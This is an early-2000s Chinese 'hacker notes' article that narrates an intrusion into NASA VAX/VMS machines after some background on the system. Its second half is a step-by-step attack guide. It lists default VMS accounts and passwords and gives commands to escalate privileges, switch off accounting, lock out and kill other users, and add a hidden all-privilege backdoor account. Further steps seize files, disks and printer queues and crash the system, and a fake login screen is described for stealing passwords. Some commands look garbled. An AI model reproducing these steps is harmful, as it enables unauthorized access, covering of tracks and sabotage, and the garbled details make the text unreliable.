黑客手记�D入侵美国太空总署行动

/ns/hk/hacker/data/20020810025034.htm

黑客手记�D入侵美国太空总署行动
苗得雨・天极e企业

警告:本章涉及某些军事机密,所以在某些地方作了模糊处理。本文危险度极高,请勿模仿。刊登本文的目的是为了让大家对VAX计算机和VMS操作系统有所了解。

  在一些黑客入侵活动中,很多黑客根本就不屑于入侵那些的小得可怜的漏洞网站,因为这对那些喜欢刺激的黑客来说,根本就不算什么。用他们的话来说,入侵那些网站只是他们在大脑疲劳时作的一种休闲游戏而已。而对于这些危险级的黑客来说,他们真正感兴趣的是那些平时难得一见放在重要机构和实验室里的计算机,只有那些东西能够真正的刺激起他们的大脑神经系统的活跃,也是真正能够让他们提起胃口的东西。

  在这些众多的提味剂中被美国太空总署、美国中央情报局等重要机构青睐的VAX计算机和它的VMS操作系统成为了超级黑客们的最爱,这些东西都能够刺激他们不断的研究试图入侵这些重要机构的每一次微小的机会。

什么是VAX计算机?VMS操作系统是什么?

  欲读懂后面的黑客手记,请先了解下面所讲的基础知识。

  那么什么是VAX计算机?VMS操作系统又是什么?以下我们就简单地介绍一下这些摆放在实验室里的大型机核心系统。

  在1978年,DEC公司建立了第一个基于VAX( virtual address extension)即虚拟地址扩展的计算机体系,它是DEC计算机系统特有的复杂指令计算(CISC)体系结构的计算机VAX11、780。这台大家伙在当时是基本32位的计算机,并且能够有高达1MIPS的运算性能。在那个年代,这台计算机的速度和性能都是无与伦比的。在当时要值$200,000。但显然他是最棒的。

  更加值得一提的是VAX是多用户系统,它所采用的网络应用包括:

  通信终端协议(CTERM):DNA为VMS系统提供的虚拟终端服务使用该协议,可以用于任何连接,是LAT的可选协议。

  分布式命名服务(DNS):DNS为VMS系统的通用命名服务,允许对用户、文件和节点等进行命名,使其成为整个网络共知的标识。

  数据存取协议(DAP):DAP是为VMS系统提供远程文件存取的老的协议集。DAP将被DFS所代替。

  分布式文件系统(DFS):和网络文件系统相似,目录可以标识为共享,并且能够装到远程节点上。

  分布式队列服务(DQS):主要用来进行打印处理,该服务使VMS能够在网上作业队列。“作业控制”将作业从队列中移出,并将其传至协同程序,由它来处理作业。

  VAX计算机专用的终端只能用于VAX系统上,并且可能用于Internet服务,它的唯一性和不兼容性保持着它的安全基础。但是对一个非常了解VAX系统的黑客来说这些并不算是什么,他们一样可以利用PC机上的软件来同VAX系统取得连接,并会想方设法摧毁他们,但是每一个黑客的必须要有一个VT100的终端仿真程序,当然这并不难搞到。

  那么什么是VMS哪?VMS(Virtual Memory System)即虚拟内存系统,是比较特别的一种计算机网络操作系统,但是VMS和其他的系统还是有那么一些相似之处的,比如它的登录介面就比较象UNIX系统的。你首先看到的是一个登录信息Username:;接下来便是用户密码: password:如果你能够正确的输入信息的话,那么你就会进到一个以$为提示符的字符操作环境下。当你登录成功后,还会有一系列的提示信息,包括你的username,你的process ID,等等。如下表:(此表欠奉:)



  对于一个熟悉操作系统的黑客来说,他会很快地感觉到VMS这个系统和其他的系统如UNIX等操作系统基本一样,一个优秀的黑客在短期内都会将它使用得很得心应手,对于他们来说这些系统的唯一区别只是命令提示不太一样而已。举个例子,如果UNIX系统中的C shell要调用设备的话,就要在命令行输入SHELL设备的调用命令。而VMS中假设调用的这个设备就是history(Dos有相应的模块,叫做Dos提示符),VMS系统中,如果你一直按住Ctrl键,并且输入字符B,那么就会停止其他形式的命令进程,列出所有目前的进程,返回进程,并且报告目前的用户统计,以便进行修改。想要入侵VMS这些都是必备的基础知识。

  当然在Internet上还存在许多的VAM系统的服务器,而且至今来说这个古老的VMS系统还是很有活力的,当然他仍然在不但地进行血液的更新,VMS最新的操作系统叫做Open/VMS网络操作系统。OpenVMS主要可以运行在VAX和Alpha系统的主机上,Alpha是一个非常快的工作站系统,而且它可以运行Windows NT,OpenVMS,Digital UNIX等多种系统。这是黑客们梦寐以求的东西,在早些时候许多的黑客为了追求到Alpha工作站,宁肯放弃高薪而去一些麻木而没有活力的科研机构。

  目前公共在线的VAX主机大都已经时间比较长了,比如美国多所大学的图书馆的系统,那些都已经非常非常old的VAX系统了。但是在那里我们可以了解到一些VAX/VMS和详细的情况,这些对于一个对VAX一无所知的人来说是一个很好的机会。

VMS系统的安全情况

  想要入侵这些重要的机构,黑客们必须了解VMS网络系统的安全性。在VMS系统中安全是经过精心考虑的,因为这些大家伙都是使用在一些重要的研究和军事机构里的,安全问题成为了VMS的重要性能。比如,VMS基本上都有一个强有力的有读写控制,(当然这些都还要看系统管理员的设置情况而定)。在VMS系统中的读写控制和Novel Netware 平台下的类似,下面就是它所提供的简单的控制命令:

  Time(时间):你可以控制哪一天,哪个用户,可以在哪个小时来访问这个系统,默认为一个星期7天,一天24小时,就象是防火墙一样,你可以精确的控制每一个用户。

  Resources(资源):你可以控制每一个登录用户的访问权限,可以对每一个目录设置权限。

  当然这些都只是VMS系统对于访问控制的一个简单的举例而己。实际上,在VMS系统中还有多重的特权限制,并且可以用于工作组。换句话说,在VMS系统中,读写控制是一个非常繁杂的设置,有好多好多的选项。正是由于这个原因,因此很少有黑客能够突破这个系统。有时,这种繁杂的设置反而会成为它自身带给网管们的一项非常繁重的工件。这个星球上的聪明的黑客已经意识到了这一点了:

  VMS系统的最大的优点就是它的巨大的灵活性。系统管理员可以选择实现或是忽略这种复杂的设置,那么就会给黑客留下机会了。

  攻击一个VAX(或是以VMS作为操作系统)的网络操作系统来说,同攻击UNIX系统有很大的不同,首先VMS这个系统的password文件的存放和它的结构和UNIX有很大的不同,UNIX系统下是放在/etc/passwd 这个文件中,这个文件包括定义的用户名,password,登录信息,以及它所在的工作组。与此对比,VMS系统的这个文件不但包括以上这些简单的信息,还有好多的其他的信息:

  在每一个运行VMS的DEC主机都会将所有用户的档案资料放在一个文件当中,叫做SYSUAF(System User Authorization File)对于每一个使用此系统的用户包括系统管理员,都有一个record来记录下用户的登录时间和访问权限,而且它还给出了password的详细的时间,password的长度,以及用户登录时所有的详细信息。这真让黑客头疼。

  但是就是这种难以理解的password文件结构也有它自身的漏洞,那就是如果一个黑客成功的获得了对这个文件操作的权力,并且修改了它,那么整个系统都将面临危险,然而发生这种情况的可能性微乎其微。

  一般情况下用户通过一种叫做UIC(User Identification Code)(用户识别码)的程序才能登录系统。这和UNIX系统中的GID是非常相近的。它识别出登录用户,还有该用户的访问权限,以及工作组,因此,你可以想象这种UIC系统是一个统一的数据库。

攻击美国太空总署Vax-11/780

  今天我对美国太空总署的系统突然感兴趣,我想看看美国到底登上月球了吗,有没有外星人跟他们接触,天哪,这一切都是那么的神气,对我就像是一块磁铁,将我所有的激情和目光都拉上了这个地方。http://www.nasa.gov就是他的老巢,但是我对这个并不感兴趣,因为他一样采用的都是普通的WEB服务器。我的目标是突破它的内部网络,也就是NASA的科研核心网络。

 第一步:登录

  有两种方法可以登录VMS系统。第一种是正常登录,另外一种就是利用试探密码以及欺骗。我们是黑客,优秀的黑客!我们当然选择欺骗(Cheating)登陆,如果你想要成功的混进VAX系统,你可以利用两种方法:

  1、用利用系统中现有的其他人的用户名和密码。
  2、利用默认的密码进行欺骗进入。

  1、利用其他人的密码:

  这种方法既有好的一面,也有不好的一面,好的一方面是你不必新建一个帐号,或是用一个受限制的帐号,那么在这种情况下系统管理员什么都不会觉察到,坏的一方面就是你所利用的帐号的主人可能会注意到。你想想,如果他并没有登录,但是又显示它在线,他会有什么感觉,而且会留下登陆的种种记录,并且他这个帐号还可能没有我们所需要获得的权限。获得其他人的密码比较简单,只要你进入系统,即使只是很小的权限,那么你只要向系统管理员的机器发送一个程序,有点类似于现在的木马或者是欺骗工具。它包含如同登录时需要的屏幕一样,那么,你就可能获得他的密码,还有用户帐号,再把这个文件从远程的打印机打印出来或是输出到一个文件上,当然你一定记得要把这个文件删除掉。

  2、利用系统的默认的密码:

  在VAX系统建立时,有4个默认的用户帐号还有密码,它有可能被自修改或是删除,但是系统管理员通常有可能会遗留下一两个以备将来系统遇到麻烦的时候进行恢复工作,这4个帐号和密码分别是:

Name Password
SYSTEM MANAGER or OPERATOR
FIELD SERVICE or TEST
DEFAULT USER or DEFAULT
SYSTEST UETP or SYSTEST

  我的经验告诉我,一般来说FIELD SERVICE这个帐号都会起作用。一旦我们登录了该系统,如果你想要获得最高的权限,你就应该输入:

$SET PROC/PRIV=ALL

  ‘$’是系统提示,如果你要是本身获得的权限不够,就会系统提示你不能够执行该命令,那么你就要换一个password,才能得到你想要的特权。是不是很令我们头疼?不过一般的情况下方法还是奏效的。

第二步:浏览该系统

  成功的利用完第一步,我们已经可以顺利的在VMS系统上登陆了,下一步要做什么呢?当然是要获取更多的信息,但是首先,我们一定要确认是否能够返回,那么我们就先要这样做:

$SET ACCOUNTING/DISABLE

  这将会禁止VMS系统中那个讨厌的跟踪程序对我们的跟踪,再输入:

$SHOW USERS

  看一看谁在系统上,如果你看到我们自己的帐号是两个的话,赶快退出来。我们不想因为做傻事而被捉吧,但是我们一旦确认无人能够监视我们的行动,那么我们接下来就输入:

$SET LOGINS/INTERACTIVE=0

  这将禁止其他人登录到这台机器上,下一步就要把其他的人踢出去。

$SHOW USERS

  系统可能返回如下的信息:

VAX/VMS INTERACTIVE USERS
23-JUL-2000 09:37:15.54
Total number of interactive users= 6
Username Process Name PID Terminal
BRUNO BRUNO 0000026B TTD3:
FIELD FIELD 00000FF2 TTC2:
JOHNSON _TTD5: 0000026D TTD5:
LINCOLN LINCOLN 0000026A TTD2:
CYBERPUNK CYBERPUNK 000001D8 TTD4:
HARDCORE HARDCORE 00000263 TTC0:

  现在,如果你以FIELD用户名登录的话,我们要通过验证的话,输入:

$STOP/ID=PID

  这样的话,就可以显示除我们之外的用户的情况,并且把的用户踢出去,最好在晚上用户少时这样做,因为如果用户管理员收到好多的控诉信息的话,他就可能会发现并捉住你。接下来,我们要确认,我们能够再次登录到这个系统上,为了能达到这一点:

$SET DEF SYS$SROOT:[SYSEXE]

  这样的话,你将进入到SYS$SROOT的SYSEXE目录

  下一行:

$RUN AUTHORIZE

  系统返回如下信息:

UAF> - now type:
UAF> ADD WASTOID /PASSWORD=ZEDNET /UIC=[099,900] /CPUTIME=0-
/DEVICE=SYS$SYSROOT /DIRECTORY=[SYSEXE] /PRIVS=ALL /NOACCOUNTING
UAF> EXIT

  这是什么意思呢,让我们往下做:

ADD WASTOID-加入一个记录名字叫WASTOID
/PASSWORD=ZEDNET-为新帐号加密码
/CPUTIME=0-将你的帐号的访问时间变为不限时,
/UIC=[099,900]
/DEVICE=SYS$SYSROOT-设置你的工作驱动器
/DIRECTORY=[SYSEXE]-设置你的工作目录
/PRIVS=ALL-获得最高的操作权限
/NOACCOUNTING-禁止系统跟踪

  好了,你现在就有了所有的特权,并且有了合法的帐号,返回系统。

 第三步:系统的基础

  如果你从没有用过VAX系统的话,可以看一下这些提示:

HELP-将会列出所有的命令,并且能够给你详细的解释
SET DEF drive:[directory.sub1,sub2]-设置默认的工作驱动器还有工作目录
TYPE或是T-和DOS下的TYPE一样,是显示文件内容的:如T file.txt
PRINT或是PR-打印文件,如:PR file.txt
DIR或是D-显示工作目录
DIR/PRINT 或D/PRINT在屏幕和打印机上同时显示。
RUN或是R-执行.exe的可执行文件,如:r filename.exe

  好了,准备的比较充分了

 第四步:开工了

  A、修改文件:

  这个世界上最美好的事情就是剥夺他本人的文件的控制权了,当你看到他对自己的文件束手无策时,我们可能会高兴手舞足蹈。让我们偷着乐吧。
你可以用:

  set protection 这个命令,如果你想一个文件只能由你自己访问,而其他的任何人都无权访问时,你可以运行

$set prot=(s:rwed,o,g,w) test.dat

  你就有了完全的特权,其他的人包括文件的拥有者,工作组,以及管理员都没有权限。

B、磁盘:

  你可以对整个磁盘都一次加以控制,比如你要控制驱动器:dirver1

$dismount driver1
$deallocate driver1
$set prot(s,o;r,g,w)/device/owner_vic[099,900] driver1
$allocate driver1
$mount driver1

  这样你就有了一个个人控制的驱动器了。

  C、打印机:

  我们知道如果要打印一个文件只要输入:

$pr hacking.dat

  如果运行

$stop/abort lpao

  那么,系统就会停止打印机目前的工作并将它踢出队列。

$delete/queve lpao

  这会将队列中所有的项目全部清除,那么打印机就是你一个人的了。

  如此等等,我们只介绍几种,其他的就看你自己的了。

 第五步,安全撤退

  1、opccrash

  如果要关闭系统的话:

$run sys$system:opccrash

  系统会提示:

system shutdown complete �Cuse console to halt system(请使用控制台来关闭系统)

  输入:

^P
>>>-type:
>>>HALT
HALTED AT 8000708A

  2、破坏性退出

^P
>>>HALT
>>>@CRASH

 OKOK,我们已经完成了一整套对美国太空总署的行动,就让我们躲在一边偷偷看那些老外们忙活去吧,当然我们也不能忘记“正事”,这就是进入它的数据库,看看那些他们的小秘密。